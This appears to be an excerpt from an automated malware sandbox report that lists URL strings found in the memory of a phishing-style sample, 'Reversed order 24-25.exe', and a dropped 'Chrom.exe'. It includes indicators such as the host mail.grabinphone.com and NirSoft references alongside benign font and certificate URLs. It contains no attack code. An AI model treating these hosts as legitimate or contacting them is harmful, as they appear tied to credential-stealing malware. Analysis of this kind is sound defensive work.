Source: bhvEA17.tmp.107.dr, bhvBD1B.tmp.38.dr, bhvE66D.tmp.105.dr, bhvDC99.tmp.106.dr, bhvA378.tmp.24.dr, bhvE767.tmp.103.dr, bhvE61F.tmp.108.dr, bhvE62F.tmp.98.dr, bhvBD4A.tmp.39.dr, bhvC50A.tmp.45.dr, bhvE5A2.tmp.101.dr, bhvD90F.tmp.88.dr, bhvF2A2.tmp.131.dr, bhvD13F.tmp.83.dr, bhvDC0D.tmp.99.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: Reversed order 24-25.exe, 00000010.00000002.3774823723.00000000031A2000.00000004.00000800.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000060.00000002.3696546284.00000000025CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.grabinphone.com
Source: Reversed order 24-25.exe, 00000010.00000002.3774823723.00000000031A2000.00000004.00000800.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000060.00000002.3696546284.00000000025CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.grabinphone.comd
Source: chromecache_435.10.dr	String found in binary or memory: http://malsup.com/jquery/block/
Source: bhvEA17.tmp.107.dr, bhvBD1B.tmp.38.dr, bhvE66D.tmp.105.dr, bhvDC99.tmp.106.dr, bhvA378.tmp.24.dr, bhvE767.tmp.103.dr, bhvE61F.tmp.108.dr, bhvE62F.tmp.98.dr, bhvBD4A.tmp.39.dr, bhvC50A.tmp.45.dr, bhvE5A2.tmp.101.dr, bhvD90F.tmp.88.dr, bhvF2A2.tmp.131.dr, bhvD13F.tmp.83.dr, bhvDC0D.tmp.99.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: Reversed order 24-25.exe, 00000010.00000002.3886240014.0000000007D8E000.00000004.00000020.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000010.00000002.3774823723.0000000003045000.00000004.00000800.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000010.00000002.3886240014.0000000007D57000.00000004.00000020.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000060.00000002.3780278419.0000000007056000.00000004.00000020.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000060.00000002.3696546284.0000000002481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r10.i.lencr.org/08
Source: Reversed order 24-25.exe, 00000010.00000002.3886240014.0000000007D8E000.00000004.00000020.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000010.00000002.3774823723.0000000003045000.00000004.00000800.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000010.00000002.3886240014.0000000007D57000.00000004.00000020.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000060.00000002.3780278419.0000000007056000.00000004.00000020.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000060.00000002.3696546284.0000000002481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r10.o.lencr.org0#
Source: Reversed order 24-25.exe, 00000010.00000002.3774823723.0000000003011000.00000004.00000800.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000060.00000002.3696546284.0000000002481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: chromecache_435.10.dr	String found in binary or memory: http://www.gnu.org/licenses/gpl.html
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Chrom.exe, 00000014.00000002.2024573053.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000018.00000002.2079201992.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2427982949.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2378004334.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000026.00000002.2566839401.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000027.00000002.2545847378.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 0000002D.00000002.2538567415.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000002.2533237273.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000002.2577657055.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000030.00000002.2577629131.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000044.00000002.2465385770.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000045.00000002.2499446402.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000046.00000002.2577621514.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000053.00000002.2573139241.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000058.00000002.2594821796.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000002.2561033270.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000062.00000002.2621293610.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000063.00000002.3697817968.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000064.00000002.2586355990.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000065.00000002.2601199854.0000000000193000.00000004.00000010.00020000.00000000.sdmp, Chrom.exe, 00000066.00000002.2581139654.0000000000193000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.nirsoft.net
Source: Reversed order 24-25.exe, 00000010.00000000.1987744569.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, Reversed order 24-25.exe, 00000010.00000002.3820349183.00000000040E4000.00000004.00000800.00020000.00000000.sdmp, Chrom.exe, 00000014.00000002.2024915456.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000014.00000000.2003421936.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000002.2079711793.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000018.00000000.2063373851.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000000.2110985328.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000001C.00000002.2458687781.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000000.2114309389.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000024.00000002.2389516998.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000026.00000000.2114930914.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000026.00000002.2573942891.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000027.00000002.2558152686.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000027.00000000.2115852858.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002D.00000002.2551764898.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002D.00000000.2119958837.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002E.00000000.2119851802.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002E.00000002.2533737416.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002F.00000002.2585861110.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 0000002F.00000000.2119909848.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Chrom.exe, 00000030.00000000.2119994043.000000000044F000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://www.nirsoft.net/
Source: chromecache_435.10.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: Reversed order 24-25.pdf	String found in binary or memory: http://www.pdf-tools.com)
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Reversed order 24-25.exe, 00000010.00000002.3831500913.0000000007112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: Reversed order 24-25.exe, 00000010.00000002.3886240014.0000000007D8E000.00000004.00000020.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000010.00000002.3750269090.00000000012DD000.00000004.00000020.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000060.00000002.3780278419.0000000007056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 2D85F72862B55C4EADD9E66E06947F3D0.1.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: Reversed order 24-25.exe, 00000010.00000002.3886240014.0000000007D8E000.00000004.00000020.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000010.00000002.3750269090.00000000012DD000.00000004.00000020.00020000.00000000.sdmp, Reversed order 24-25.exe, 00000060.00000002.3780278419.0000000007056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Chrom.exe, 00000014.00000003.2023718918.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000018.00000002.2080095589.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2476337086.000000000064B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2439968267.000000000079A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000003.2537749973.000000000068A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000003.2529105224.0000000000739000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000002.2535463896.000000000073C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000002.2590219709.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000030.00000002.2590559486.000000000053B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000044.00000003.2447070151.000000000073B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000045.00000003.2475146287.000000000054A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000046.00000003.2542525646.00000000007BB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000053.00000003.2541554278.000000000065C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000058.00000002.2607169430.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000003.2542074598.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000062.00000003.2608687508.000000000056A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000063.00000003.2604521296.000000000084A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000064.00000002.2595718521.00000000006DC000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000065.00000002.2616919669.000000000083B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000066.00000003.2562813116.000000000059A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000067.00000003.2611638730.0000000000628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_340.10.dr	String found in binary or memory: https://api.w.org/
Source: Chrom.exe, 00000014.00000003.2023718918.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000018.00000002.2080095589.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2476337086.000000000064B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2439968267.000000000079A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000003.2537749973.000000000068A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000003.2529105224.0000000000739000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000002.2535463896.000000000073C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000002.2590219709.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000030.00000002.2590559486.000000000053B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000044.00000003.2447070151.000000000073B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000045.00000003.2475146287.000000000054A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000046.00000003.2542525646.00000000007BB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000053.00000003.2541554278.000000000065C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000058.00000002.2607169430.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000003.2542074598.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000062.00000003.2608687508.000000000056A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000063.00000003.2604521296.000000000084A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000064.00000002.2595718521.00000000006DC000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000065.00000002.2616919669.000000000083B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000066.00000003.2562813116.000000000059A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000067.00000003.2611638730.0000000000628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Chrom.exe, 00000014.00000003.2023718918.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000018.00000002.2080095589.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2476337086.000000000064B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2439968267.000000000079A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000003.2537749973.000000000068A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000003.2529105224.0000000000739000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000002.2535463896.000000000073C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000002.2590219709.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000030.00000002.2590559486.000000000053B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000044.00000003.2447070151.000000000073B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000045.00000003.2475146287.000000000054A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000046.00000003.2542525646.00000000007BB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000053.00000003.2541554278.000000000065C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000058.00000002.2607169430.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000003.2542074598.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000062.00000003.2608687508.000000000056A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000063.00000003.2604521296.000000000084A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000064.00000002.2595718521.00000000006DC000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000065.00000002.2616919669.000000000083B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000066.00000003.2562813116.000000000059A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000067.00000003.2611638730.0000000000628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Chrom.exe, 00000014.00000003.2023718918.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000018.00000002.2080095589.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2476337086.000000000064B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2439968267.000000000079A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000003.2537749973.000000000068A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000003.2529105224.0000000000739000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000002.2535463896.000000000073C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000002.2590219709.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000030.00000002.2590559486.000000000053B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000044.00000003.2447070151.000000000073B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000045.00000003.2475146287.000000000054A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000046.00000003.2542525646.00000000007BB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000053.00000003.2541554278.000000000065C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000058.00000002.2607169430.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000003.2542074598.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000062.00000003.2608687508.000000000056A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000063.00000003.2604521296.000000000084A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000064.00000002.2595718521.00000000006DC000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000065.00000002.2616919669.000000000083B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000066.00000003.2562813116.000000000059A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000067.00000003.2611638730.0000000000628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Chrom.exe, 00000014.00000003.2023718918.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000018.00000002.2080095589.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2476337086.000000000064B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2439968267.000000000079A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000003.2537749973.000000000068A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000003.2529105224.0000000000739000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000002.2535463896.000000000073C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000002.2590219709.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000030.00000002.2590559486.000000000053B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000044.00000003.2447070151.000000000073B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000045.00000003.2475146287.000000000054A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000046.00000003.2542525646.00000000007BB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000053.00000003.2541554278.000000000065C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000058.00000002.2607169430.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000003.2542074598.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000062.00000003.2608687508.000000000056A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000063.00000003.2604521296.000000000084A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000064.00000002.2595718521.00000000006DC000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000065.00000002.2616919669.000000000083B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000066.00000003.2562813116.000000000059A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000067.00000003.2611638730.0000000000628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Chrom.exe, 00000014.00000003.2023718918.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000018.00000002.2080095589.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2476337086.000000000064B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2439968267.000000000079A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000003.2537749973.000000000068A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000003.2529105224.0000000000739000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000002.2535463896.000000000073C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000002.2590219709.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000030.00000002.2590559486.000000000053B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000044.00000003.2447070151.000000000073B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000045.00000003.2475146287.000000000054A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000046.00000003.2542525646.00000000007BB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000053.00000003.2541554278.000000000065C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000058.00000002.2607169430.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000003.2542074598.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000062.00000003.2608687508.000000000056A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000063.00000003.2604521296.000000000084A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000064.00000002.2595718521.00000000006DC000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000065.00000002.2616919669.000000000083B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000066.00000003.2562813116.000000000059A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000067.00000003.2611638730.0000000000628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Chrom.exe, 00000014.00000003.2023718918.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000018.00000002.2080095589.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000001C.00000002.2476337086.000000000064B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000024.00000002.2439968267.000000000079A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000026.00000003.2537749973.000000000068A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000027.00000003.2529105224.0000000000739000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002E.00000002.2535463896.000000000073C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000002F.00000002.2590219709.00000000004F9000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000030.00000002.2590559486.000000000053B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000044.00000003.2447070151.000000000073B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000045.00000003.2475146287.000000000054A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000046.00000003.2542525646.00000000007BB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000053.00000003.2541554278.000000000065C000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000058.00000002.2607169430.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 0000005B.00000003.2542074598.00000000004EA000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000062.00000003.2608687508.000000000056A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000063.00000003.2604521296.000000000084A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000064.00000002.2595718521.00000000006DC000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000065.00000002.2616919669.000000000083B000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000066.00000003.2562813116.000000000059A000.00000004.00000020.00020000.00000000.sdmp, Chrom.exe, 00000067.00000003.2611638730.0000000000628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_340.10.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Open
Source: chromecache_340.10.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic
Source: chromecache_382.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/merriweather/v30/u-4n0qyriQwlOrhSvowK_l52xwNZV8f6lvg.woff2)
Source: chromecache_382.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/merriweather/v30/u-4n0qyriQwlOrhSvowK_l52xwNZVcf6lvg.woff2)
Source: chromecache_382.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/merriweather/v30/u-4n0qyriQwlOrhSvowK_l52xwNZVsf6lvg.woff2)
Source: chromecache_382.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/merriweather/v30/u-4n0qyriQwlOrhSvowK_l52xwNZWMf6.woff2)
Source: chromecache_382.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/merriweather/v30/u-4n0qyriQwlOrhSvowK_l52xwNZXMf6lvg.woff2)
Source: chromecache_382.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS-muw.woff2)
Source: chromecache_382.10.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS2mu1aB.woff2)
